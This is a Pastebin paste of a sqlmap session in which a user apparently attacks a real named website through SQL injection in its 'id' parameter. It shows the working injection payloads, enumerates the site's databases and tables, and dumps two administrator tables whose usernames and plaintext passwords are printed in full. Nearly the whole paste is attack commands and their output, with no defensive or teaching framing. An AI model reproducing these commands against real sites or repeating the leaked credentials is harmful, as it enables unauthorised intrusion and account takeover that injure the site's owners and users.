Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- root@yukinoshita47:~# sqlmap -u http://www.bible-history.com/subcat.php?id=2 --dbs
- sqlmap/1.0-dev - automatic SQL injection and database takeover tool
- http://sqlmap.org
- [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
- [*] starting at 14:42:50
- [14:42:50] [INFO] testing connection to the target URL
- [14:42:51] [INFO] testing if the target URL is stable. This can take a couple of seconds
- [14:42:53] [WARNING] target URL is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' and provide a string or regular expression to match on
- how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c
- [14:42:56] [INFO] testing if GET parameter 'id' is dynamic
- [14:42:56] [INFO] confirming that GET parameter 'id' is dynamic
- [14:42:57] [INFO] GET parameter 'id' is dynamic
- [14:42:58] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
- [14:42:58] [INFO] testing for SQL injection on GET parameter 'id'
- heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
- y
- [14:43:03] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
- [14:43:04] [WARNING] reflective value(s) found and filtering out
- [14:43:07] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
- [14:43:07] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
- [14:43:07] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable
- [14:43:07] [INFO] testing 'MySQL inline queries'
- [14:43:08] [INFO] testing 'MySQL > 5.0.11 stacked queries'
- [14:43:08] [WARNING] time-based comparison requires larger statistical model, please wait...................
- [14:43:19] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
- [14:43:19] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
- [14:44:19] [INFO] GET parameter 'id' seems to be 'MySQL > 5.0.11 AND time-based blind' injectable
- [14:44:20] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
- [14:44:20] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
- [14:44:21] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
- [14:44:24] [INFO] target URL appears to have 1 column in query
- [14:44:25] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
- GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
- sqlmap identified the following injection points with a total of 40 HTTP(s) requests:
- ---
- Place: GET
- Parameter: id
- Type: boolean-based blind
- Title: AND boolean-based blind - WHERE or HAVING clause
- Payload: id=2 AND 4453=4453
- Type: error-based
- Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
- Payload: id=2 AND (SELECT 5997 FROM(SELECT COUNT(*),CONCAT(0x7165677a71,(SELECT (CASE WHEN (5997=5997) THEN 1 ELSE 0 END)),0x7169716871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
- Type: UNION query
- Title: MySQL UNION query (NULL) - 1 column
- Payload: id=2 UNION ALL SELECT CONCAT(0x7165677a71,0x624b48717471594d4a55,0x7169716871)#
- Type: AND/OR time-based blind
- Title: MySQL > 5.0.11 AND time-based blind
- Payload: id=2 AND SLEEP(5)
- ---
- [14:44:28] [INFO] the back-end DBMS is MySQL
- web application technology: Apache 2.4.25, PHP 5.5.38
- back-end DBMS: MySQL 5.0
- [14:44:28] [INFO] fetching database names
- available databases [5]:
- [*] bible_glossary
- [*] bible_history
- [*] information_schema
- [*] keywords
- [*] kidsdict
- [14:44:29] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.bible-history.com'
- [*] shutting down at 14:44:29
- root@yukinoshita47:~# sqlmap -u http://www.bible-history.com/subcat.php?id=2 -D bible_glossary --table
- sqlmap/1.0-dev - automatic SQL injection and database takeover tool
- http://sqlmap.org
- [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
- [*] starting at 14:45:06
- [14:45:06] [INFO] resuming back-end DBMS 'mysql'
- [14:45:07] [INFO] testing connection to the target URL
- sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
- ---
- Place: GET
- Parameter: id
- Type: boolean-based blind
- Title: AND boolean-based blind - WHERE or HAVING clause
- Payload: id=2 AND 4453=4453
- Type: error-based
- Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
- Payload: id=2 AND (SELECT 5997 FROM(SELECT COUNT(*),CONCAT(0x7165677a71,(SELECT (CASE WHEN (5997=5997) THEN 1 ELSE 0 END)),0x7169716871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
- Type: UNION query
- Title: MySQL UNION query (NULL) - 1 column
- Payload: id=2 UNION ALL SELECT CONCAT(0x7165677a71,0x624b48717471594d4a55,0x7169716871)#
- Type: AND/OR time-based blind
- Title: MySQL > 5.0.11 AND time-based blind
- Payload: id=2 AND SLEEP(5)
- ---
- [14:45:08] [INFO] the back-end DBMS is MySQL
- web application technology: Apache 2.4.25, PHP 5.5.38
- back-end DBMS: MySQL 5.0
- [14:45:08] [INFO] fetching tables for database: 'bible_glossary'
- Database: bible_glossary
- [13 tables]
- +-----------------------+
- | bible_ref |
- | custom_questions |
- | glossary |
- | groups |
- | kjv_verse |
- | lookup |
- | naves |
- | question_comments |
- | questions |
- | questions_BACKUP |
- | questions_copy |
- | questions_import_test |
- | words |
- +-----------------------+
- [14:45:09] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.bible-history.com'
- [*] shutting down at 14:45:09
- root@yukinoshita47:~# sqlmap -u http://www.bible-history.com/subcat.php?id=2 -D bible_history --table
- sqlmap/1.0-dev - automatic SQL injection and database takeover tool
- http://sqlmap.org
- [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
- [*] starting at 14:45:23
- [14:45:24] [INFO] resuming back-end DBMS 'mysql'
- [14:45:24] [INFO] testing connection to the target URL
- sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
- ---
- Place: GET
- Parameter: id
- Type: boolean-based blind
- Title: AND boolean-based blind - WHERE or HAVING clause
- Payload: id=2 AND 4453=4453
- Type: error-based
- Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
- Payload: id=2 AND (SELECT 5997 FROM(SELECT COUNT(*),CONCAT(0x7165677a71,(SELECT (CASE WHEN (5997=5997) THEN 1 ELSE 0 END)),0x7169716871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
- Type: UNION query
- Title: MySQL UNION query (NULL) - 1 column
- Payload: id=2 UNION ALL SELECT CONCAT(0x7165677a71,0x624b48717471594d4a55,0x7169716871)#
- Type: AND/OR time-based blind
- Title: MySQL > 5.0.11 AND time-based blind
- Payload: id=2 AND SLEEP(5)
- ---
- [14:45:25] [INFO] the back-end DBMS is MySQL
- web application technology: Apache 2.4.25, PHP 5.5.38
- back-end DBMS: MySQL 5.0
- [14:45:25] [INFO] fetching tables for database: 'bible_history'
- Database: bible_history
- [52 tables]
- +-----------------------------+
- | Emails |
- | administrators |
- | bh_addform |
- | bh_guestbook |
- | bho_board_bans |
- | bho_board_forums |
- | bho_board_posts |
- | bho_board_search |
- | bho_board_topics |
- | bho_board_users |
- | bible_book |
- | books |
- | cat |
- | categories |
- | chapters |
- | chapters1 |
- | commentary_jfb |
- | eastons |
- | guestbook |
- | isbe |
- | kingjames |
- | kjv_verse |
- | links |
- | mathew |
- | naves |
- | naves_phrase |
- | naves_verse |
- | ob_book_abbreviation_lookup |
- | outline_chapter |
- | outline_major_section |
- | questions |
- | series |
- | smiths |
- | smiths_ref |
- | sub |
- | subjects |
- | tbl_dictionary |
- | tbl_fausset |
- | tbl_gfd |
- | tbl_hitchcock |
- | tbl_hollman |
- | tbl_ibhcategory |
- | tbl_ibhsubcategory |
- | tbl_image |
- | tbl_isbe |
- | tbl_sdas |
- | tbl_the |
- | tbl_tt |
- | tbl_vcx |
- | user_links |
- | web_verse |
- | web_verse_bak |
- +-----------------------------+
- [14:45:26] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.bible-history.com'
- [*] shutting down at 14:45:26
- root@yukinoshita47:~# sqlmap -u http://www.bible-history.com/subcat.php?id=2 -D bible_history -T administrators --columns
- sqlmap/1.0-dev - automatic SQL injection and database takeover tool
- http://sqlmap.org
- [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
- [*] starting at 14:45:54
- [14:45:55] [INFO] resuming back-end DBMS 'mysql'
- [14:45:55] [INFO] testing connection to the target URL
- sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
- ---
- Place: GET
- Parameter: id
- Type: boolean-based blind
- Title: AND boolean-based blind - WHERE or HAVING clause
- Payload: id=2 AND 4453=4453
- Type: error-based
- Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
- Payload: id=2 AND (SELECT 5997 FROM(SELECT COUNT(*),CONCAT(0x7165677a71,(SELECT (CASE WHEN (5997=5997) THEN 1 ELSE 0 END)),0x7169716871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
- Type: UNION query
- Title: MySQL UNION query (NULL) - 1 column
- Payload: id=2 UNION ALL SELECT CONCAT(0x7165677a71,0x624b48717471594d4a55,0x7169716871)#
- Type: AND/OR time-based blind
- Title: MySQL > 5.0.11 AND time-based blind
- Payload: id=2 AND SLEEP(5)
- ---
- [14:45:56] [INFO] the back-end DBMS is MySQL
- web application technology: Apache 2.4.25, PHP 5.5.38
- back-end DBMS: MySQL 5.0
- [14:45:56] [INFO] fetching columns for table 'administrators' in database 'bible_history'
- Database: bible_history
- Table: administrators
- [5 columns]
- +------------------+-------------+
- | Column | Type |
- +------------------+-------------+
- | admin_first_name | varchar(40) |
- | admin_id | int(11) |
- | admin_last_name | varchar(40) |
- | admin_password | varchar(8) |
- | admin_username | varchar(15) |
- +------------------+-------------+
- [14:45:57] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.bible-history.com'
- [*] shutting down at 14:45:57
- root@yukinoshita47:~# sqlmap -u http://www.bible-history.com/subcat.php?id=2 -D bible_history -T administrators -C admin_first_name,admin_id,admin_last_name,admin_password,admin_username --dump
- sqlmap/1.0-dev - automatic SQL injection and database takeover tool
- http://sqlmap.org
- [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
- [*] starting at 14:46:38
- [14:46:39] [INFO] resuming back-end DBMS 'mysql'
- [14:46:39] [INFO] testing connection to the target URL
- sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
- ---
- Place: GET
- Parameter: id
- Type: boolean-based blind
- Title: AND boolean-based blind - WHERE or HAVING clause
- Payload: id=2 AND 4453=4453
- Type: error-based
- Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
- Payload: id=2 AND (SELECT 5997 FROM(SELECT COUNT(*),CONCAT(0x7165677a71,(SELECT (CASE WHEN (5997=5997) THEN 1 ELSE 0 END)),0x7169716871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
- Type: UNION query
- Title: MySQL UNION query (NULL) - 1 column
- Payload: id=2 UNION ALL SELECT CONCAT(0x7165677a71,0x624b48717471594d4a55,0x7169716871)#
- Type: AND/OR time-based blind
- Title: MySQL > 5.0.11 AND time-based blind
- Payload: id=2 AND SLEEP(5)
- ---
- [14:46:40] [INFO] the back-end DBMS is MySQL
- web application technology: Apache 2.4.25, PHP 5.5.38
- back-end DBMS: MySQL 5.0
- [14:46:40] [INFO] fetching columns 'admin_first_name, admin_id, admin_last_name, admin_password, admin_username' for table 'administrators' in database 'bible_history'
- [14:46:40] [INFO] fetching entries of column(s) 'admin_first_name, admin_id, admin_last_name, admin_password, admin_username' for table 'administrators' in database 'bible_history'
- [14:46:41] [INFO] analyzing table dump for possible password hashes
- Database: bible_history
- Table: administrators
- [1 entry]
- +----------+----------------+----------------+-----------------+------------------+
- | admin_id | admin_username | admin_password | admin_last_name | admin_first_name |
- +----------+----------------+----------------+-----------------+------------------+
- | 1 | jc | Mos3s | NULL | NULL |
- +----------+----------------+----------------+-----------------+------------------+
- [14:46:41] [INFO] table 'bible_history.administrators' dumped to CSV file '/usr/share/sqlmap/output/www.bible-history.com/dump/bible_history/administrators.csv'
- [14:46:41] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.bible-history.com'
- [*] shutting down at 14:46:41
- root@yukinoshita47:~# sqlmap -u http://www.bible-history.com/subcat.php?id=2 -D keywords --table
- sqlmap/1.0-dev - automatic SQL injection and database takeover tool
- http://sqlmap.org
- [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
- [*] starting at 14:47:18
- [14:47:19] [INFO] resuming back-end DBMS 'mysql'
- [14:47:19] [INFO] testing connection to the target URL
- sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
- ---
- Place: GET
- Parameter: id
- Type: boolean-based blind
- Title: AND boolean-based blind - WHERE or HAVING clause
- Payload: id=2 AND 4453=4453
- Type: error-based
- Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
- Payload: id=2 AND (SELECT 5997 FROM(SELECT COUNT(*),CONCAT(0x7165677a71,(SELECT (CASE WHEN (5997=5997) THEN 1 ELSE 0 END)),0x7169716871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
- Type: UNION query
- Title: MySQL UNION query (NULL) - 1 column
- Payload: id=2 UNION ALL SELECT CONCAT(0x7165677a71,0x624b48717471594d4a55,0x7169716871)#
- Type: AND/OR time-based blind
- Title: MySQL > 5.0.11 AND time-based blind
- Payload: id=2 AND SLEEP(5)
- ---
- [14:47:20] [INFO] the back-end DBMS is MySQL
- web application technology: Apache 2.4.25, PHP 5.5.38
- back-end DBMS: MySQL 5.0
- [14:47:20] [INFO] fetching tables for database: 'keywords'
- Database: keywords
- [3 tables]
- +----------+
- | admin |
- | projects |
- | style |
- +----------+
- [14:47:21] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.bible-history.com'
- [*] shutting down at 14:47:21
- root@yukinoshita47:~# sqlmap -u http://www.bible-history.com/subcat.php?id=2 -D keywords --T admin --columns
- Usage: python sqlmap [options]
- sqlmap: error: no such option: --T
- [*] shutting down at 14:47:33
- root@yukinoshita47:~# sqlmap -u http://www.bible-history.com/subcat.php?id=2 -D keywords -T admin --columns
- sqlmap/1.0-dev - automatic SQL injection and database takeover tool
- http://sqlmap.org
- [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
- [*] starting at 14:47:37
- [14:47:38] [INFO] resuming back-end DBMS 'mysql'
- [14:47:38] [INFO] testing connection to the target URL
- sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
- ---
- Place: GET
- Parameter: id
- Type: boolean-based blind
- Title: AND boolean-based blind - WHERE or HAVING clause
- Payload: id=2 AND 4453=4453
- Type: error-based
- Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
- Payload: id=2 AND (SELECT 5997 FROM(SELECT COUNT(*),CONCAT(0x7165677a71,(SELECT (CASE WHEN (5997=5997) THEN 1 ELSE 0 END)),0x7169716871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
- Type: UNION query
- Title: MySQL UNION query (NULL) - 1 column
- Payload: id=2 UNION ALL SELECT CONCAT(0x7165677a71,0x624b48717471594d4a55,0x7169716871)#
- Type: AND/OR time-based blind
- Title: MySQL > 5.0.11 AND time-based blind
- Payload: id=2 AND SLEEP(5)
- ---
- [14:47:38] [INFO] the back-end DBMS is MySQL
- web application technology: Apache 2.4.25, PHP 5.5.38
- back-end DBMS: MySQL 5.0
- [14:47:38] [INFO] fetching columns for table 'admin' in database 'keywords'
- Database: keywords
- Table: admin
- [5 columns]
- +-----------+--------------+
- | Column | Type |
- +-----------+--------------+
- | user | varchar(255) |
- | email | varchar(255) |
- | id | int(11) |
- | pass | varchar(255) |
- | rsltperpg | int(11) |
- +-----------+--------------+
- [14:47:40] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.bible-history.com'
- [*] shutting down at 14:47:40
- root@yukinoshita47:~# sqlmap -u http://www.bible-history.com/subcat.php?id=2 -D keywords -T admin -T admin -C user,email,id,pass,rsltperpg --dump
- sqlmap/1.0-dev - automatic SQL injection and database takeover tool
- http://sqlmap.org
- [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
- [*] starting at 14:48:07
- [14:48:07] [INFO] resuming back-end DBMS 'mysql'
- [14:48:07] [INFO] testing connection to the target URL
- sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
- ---
- Place: GET
- Parameter: id
- Type: boolean-based blind
- Title: AND boolean-based blind - WHERE or HAVING clause
- Payload: id=2 AND 4453=4453
- Type: error-based
- Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
- Payload: id=2 AND (SELECT 5997 FROM(SELECT COUNT(*),CONCAT(0x7165677a71,(SELECT (CASE WHEN (5997=5997) THEN 1 ELSE 0 END)),0x7169716871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
- Type: UNION query
- Title: MySQL UNION query (NULL) - 1 column
- Payload: id=2 UNION ALL SELECT CONCAT(0x7165677a71,0x624b48717471594d4a55,0x7169716871)#
- Type: AND/OR time-based blind
- Title: MySQL > 5.0.11 AND time-based blind
- Payload: id=2 AND SLEEP(5)
- ---
- [14:48:08] [INFO] the back-end DBMS is MySQL
- web application technology: Apache 2.4.25, PHP 5.5.38
- back-end DBMS: MySQL 5.0
- [14:48:08] [INFO] fetching columns 'user, email, id, pass, rsltperpg' for table 'admin' in database 'keywords'
- [14:48:09] [INFO] fetching entries of column(s) '`user`, email, id, pass, rsltperpg' for table 'admin' in database 'keywords'
- [14:48:10] [INFO] analyzing table dump for possible password hashes
- Database: keywords
- Table: admin
- [1 entry]
- +----+---------------+--------------------+--------+-----------+
- | id | pass | email | user | rsltperpg |
- +----+---------------+--------------------+--------+-----------+
- | 1 | affirmative | [email protected] | admin | 2 |
- +----+---------------+--------------------+--------+-----------+
- [14:48:10] [INFO] table 'keywords.admin' dumped to CSV file '/usr/share/sqlmap/output/www.bible-history.com/dump/keywords/admin.csv'
- [14:48:10] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.bible-history.com'
- [*] shutting down at 14:48:10
Add Comment
Please, Sign In to add comment